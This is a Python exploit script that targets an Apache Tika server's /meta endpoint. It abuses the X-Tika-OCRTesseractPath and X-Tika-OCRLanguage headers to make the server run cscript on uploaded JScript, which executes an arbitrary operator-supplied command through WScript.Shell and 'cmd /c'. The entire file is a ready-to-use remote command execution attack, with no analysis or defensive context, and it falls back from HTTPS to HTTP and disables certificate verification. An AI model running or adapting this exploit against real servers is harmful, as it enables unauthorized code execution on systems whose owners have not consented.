#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import requests

if len(sys.argv) < 4:
    print('ERROR: Expected 3 arguments')
else:

    # set required headers

    headers = {
        'X-Tika-OCRTesseractPath': '"cscript"',
        'X-Tika-OCRLanguage': '//E:Jscript',
        'Expect': '100-continue',
        'Content-type': 'image/jp2',
        'Connection': 'close',
        }

    # extract the arguments

    hostname = sys.argv[1]
    port_no = sys.argv[2]
    command = sys.argv[3]

    code = \
        '''var oShell = WScript.CreateObject("WScript.Shell");
	var oExec = oShell.Exec('cmd /c {}');
	'''.format(command)  # Jscript code used for code injection

    url = hostname + ':' + str(port_no) + '/meta'  # url for text extraction using OCR of tika-server

    try:
        requests.put('https://' + url, headers=headers, data=code,
                     verify=False)
    except:

        try:
            requests.put('http://' + url, headers=headers, data=code)
        except:
            print ('Error: please check the aruguments and usage of this file.')

